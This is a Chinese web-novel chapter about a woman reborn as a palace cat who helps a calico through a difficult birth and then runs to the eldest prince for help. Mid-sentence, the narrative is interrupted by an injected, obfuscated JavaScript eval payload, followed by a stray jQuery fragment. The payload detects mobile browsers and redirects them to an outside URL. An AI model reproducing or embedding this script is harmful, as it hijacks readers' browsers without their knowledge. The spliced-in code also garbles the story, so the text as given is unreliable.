7. 无措
作品:《我的崽是疯批大魔王》 严婳回到阁楼的时候,猫咪们已经打野归来。
阳光穿透木格窗,在青砖地上烙下菱形的光斑。严婳抖了抖耳朵,绒毛间细碎的晨露簌簌坠落。六只毛色各异的猫儿蜷在稻草垫上,肚皮随着呼吸轻轻起伏,像散落一地的蒲公英绒球。
绒球们相互依偎在一起,互相舔舐毛发。站在高处的狸花猫率先看见她,一个纵身,从阁楼的横梁上跳了下来,它是一个胆大且调皮的男孩子。
严婳对于他一惊一乍的恶作剧已经司空见惯,抬起爪子像逗猫棒一样晃动,狸花猫果然被吸引,四仰八叉的躺在地上去捉江澜的爪子。
它虽然爱闹,但是并不缠人,每次的玩闹都是点到为止。
就像值夜班的牛马下班一样,此刻她的行为,是和家里的宠物交流感情的一种方式。
唯一不同的就是,在这里,她不是铲屎官,而是同类。
猫咪们喜欢聚在一起舔毛,作为族群的老大,被族群中其他猫咪舔毛,是一种荣耀和信任的象征。
被猫咪布满细小倒刺的舌头舔过,就和人类按摩的感觉差不多,带点微微的痒和放松。
一开始对于这样的热情她是拒绝的,毕竟壳子里是人类的灵魂。
想象着被众多猫咪舔一身口水的场景,她就浑身打颤。
当然,她拒绝别人舔毛,更不可能自己舔,想象一下,你伸着舌头,舔舐自己全身的场景,那是不是超级变态?
但是,后来在她闻到身上的异味,旱鸭子的她,克服猫咪本能的恐惧,跳入池塘洗澡,险些溺水之后。
才终于狠下心来,学着接受。
时至今日,虽然不能舔别的猫,但是,被别猫的舔,已经不是那么难以接受。
天光大亮,初夏的早晨,阳光升起之后,空气中已经有燥热的气息。
严婳慵懒地躺在阁楼的阴凉处,几只猫咪站起身,亲昵的围在她身边,开始为她舔毛。
猫咪们夜晚活动,白天自然困倦,等到所有成员的毛发梳理完毕。
亲爱的大橘和狸花,已经打起了美美的小呼噜。
它们这个猫群,一共有八只猫咪,每一只猫咪都是独一无二的可爱。
严婳昨天晚上并未狩猎,而是莫名奇妙的的酣睡一宿,这会精神抖擞,她一个跳跃,无声无息的从猫咪的包围圈中跳了出来。
处在外围的三花猫,疑惑的张开一双自带眼线的卡姿兰大眼睛:“老大,你去哪里?”
那声音又甜又软,又媚又娇,尾音微微上扬,像勾子一样,带着几分娇嗔和疑惑,挠的人心里痒痒的。
不像严婳只会语气邦邦硬地三连问:‘你干啥?’
‘你弄啥?’
‘你是不是想死?’
穿越之前不如人,穿越之后更惨,连猫都会夹子音。
人与人之间果然不能比较,只要你敢比,就有受不完伤害。
严婳抖抖耳朵,三花的声音像勾子,眼睛像是会放电,怪不得每到春天的时候,身边的公猫瞬间变身成猫届舔狗。
不怪那些公猫‘不主贵’,实在是三花太过魅力。
□□是猫咪们的本能,她不能拿着人类的道德标准,去桎号猫咪的天性。
但是看到对方鼓起的肚子,蹒跚的脚步,严婳止不住心疼。
猫咪的世界里,公猫是不负责养育幼崽的,普通猫咪一胎可以生下好几只的幼崽。代入一下一个多胞胎妈妈,不但要养育幼崽,还要出门狩猎,再有一个人间蒸发的另一半,之于人来讲简直就是顶级噩梦。
所以,面对这样一个可怜的孕妈,严婳尽可能给予它更多的关怀和帮助。
算算时间三花已经快要生了,最近一周,可能是由于肚子太大,身体的灵活性大大降低,她狩猎的收获并不理想。
严婳用鼻尖指向庭园方向,无需多言,两猫如离弦之箭窜出窗外,爪尖在晨露未晞的瓦片上踏出清脆的足音。
池塘边的小鱼在水塘里翻腾出点点的波纹,初夏时节,食物充裕,猫咪们很少把目光放在池塘,长时间没有受到猫咪的荼毒,这些鱼儿面对糕点渣的香甜诱惑,一个个成群结队的向陷阱的方向蜂拥而至。
严婳双爪踩着渔网上的牵引绳,绳子的另一端被系在岸边的大树上,天知道为了系紧那条绳子她废了多大的力气。
怪不得类人猿能进化成最终的人类,那五个手指真的很加分。
看到网里的鱼儿已经足够多了,严婳咬着牵引绳费力的向岸边的方向拖行,三花也在她身后绷紧身子用力的拉扯绳子。
渔网不大,两只猫的力气虽然有点勉强,但是,水中那部分渔网已经逐渐露出水面,第一条手指长的小鱼已经随着渔网上岸。
这些小鱼可能是由于品种的原因,每一条都不大。
渔网已经完全被拖上石台,十几条活蹦乱跳的小鱼正在上面挣扎。
小三花的大眼睛完全被鱼儿吸引,一动不动的盯着那些鱼,但是,她很懂事,纵使很馋很饿,也坚持一副等着严婳吃完,才会去吃的模样。
“快吃吧,我已经吃过了。”严婳甩甩尾巴。
不到迫不得已的时候,她并不愿意接受生食,主要是御膳房的大厨每一道菜都烧的色香味俱全。
穿越之前吃不上的满汉全席,没想到穿越之后竟然达成了。
不过这些小鱼并不难吃,甚至吃起来还有一点鲜嫩回甘,严婳不愿意吃更多的是心理作用。
三花显然已经饿了,一口一条小鱼,耳边是‘咔滋’的进食声。
严婳一个助跑,窜上了枝繁叶茂的大槐树。
白色的花序拂过她缎子一般自带柔光的皮毛,鼻翼间是独属于槐花的清香。
站在槐树的顶端,远处的视野如潮水般漫开,严婳张开爪子‘刺啦、刺啦’的声音响起,每一棵树都是天然的猫抓板,但是她更钟爱于这颗槐树。
槐树上面灰黑色的树皮,随着她的动作簌簌而下,就像人类爱挤黑头解压一样,猫咪的解压方式,就是拔掉大树的老皮,直到自己常常活动的树干变得细腻光滑。
不当资本家的‘牛马’之后,喜获新身份的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029714|162286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她,有无数的空闲时光,打磨树干也是一项消磨时间的养生方式。
黑猫竖起尾巴,双爪挥出残影,挠的及其卖力,槐树下像是下了一场树皮雨,一片片树皮纷纷扬扬地飘落,在地上堆积成薄薄的一层。
池塘边的三花进食的速度越来越慢,鱼肉的鲜嫩已经被身体上异样的疼痛挤出感官,半截小鱼‘啪嗒’一声掉在地上,她的身下氤氲出一滩浅粉色的水迹。
这不是她第一次分娩,但是,却是她最痛苦的一次。疼痛消耗了她本来就不多的理智,凄惨的猫叫声,在严婳的耳边响起。
严婳飞一样从树上跳下来,只看到蜷缩成一团的三花,发出凄厉的惨叫。
阁楼中,一个个猫咪的影子闪过。
严婳焦急地围着三花打转,嘴里发出 “喵喵” 的安抚声。其他猫咪也纷纷围了过来,紧张地注视着三花。
时间一分一秒过去,三花的叫声愈发虚弱。严婳的心揪成了一团,四只爪子都紧张的无处安放。
生育是惨烈的,浓烈的血腥味萦绕在池塘边。
而她却不知道该如何帮助这只可怜的猫咪。
幼猫的后肢已经隐约可见,正常情况下,崽子们应该是头颅先滑出产道。
严婳后知后觉的发现,三花难产了。
更令人难过的是,作为一只猫,与人天然的沟通障碍让她很难寻求到人的帮助,而难产又不是简单的去太医院偷点药所能解决的。
猫咪们一个个在三花身边无声伫立,这是它们作为同伴,所能做的极限,仅仅只是在它最痛苦的时候,无言的陪伴。
严婳很难过,她空有一个人的灵魂,却不能在关键时刻采取有效的措施。反而只能眼睁睁地看着三花在痛苦中挣扎,却无能为力。
她第一次恨自己远离人类,早知道有今日她就该撒娇卖萌,力争做整座皇宫最得宠的小猫。
也好过,如今的束手无策、爱莫能助。
三花气若游丝的呻吟声,向一记记重锤,砸向她的心头。
严婳的脑海里各种念头翻腾,最终一个可怜的身影,映入脑海。
她有点踟蹰,但是,这是她唯一接触过的人类。
严婳撒开爪子向大皇子的宫殿跑去,狸花想跟,被她愤怒的厉声制止。
同在冷宫的范围,大皇子的住所,距离猫咪们的阁楼并不远。
严婳从来不知道她可以跑的这么快,只见一个黑色的身影,从及腰的荒草上闪电般快速飞过。
废宫的大门是敞开着的,理智下线的严婳盲目的向里面冲。
察觉动静的人,面色阴沉的抬起头,看到不问自入的黑猫,旋即放下手中的陶罐,眸光柔若春水,伸出手就要吸猫。
严婳拍开他的手,扯着对方衣衫的下摆向外带,嘴里着急忙慌的‘喵喵’叫着。
小东西的急切慌张肉眼可见,大皇子蹲下身子,掐着她的腋窝,把猫扛着肩上,“别着急,我们现在就走。”
他微微的勾唇,被资善堂勾起的暴戾情绪,被这突如其来的惊喜冲散。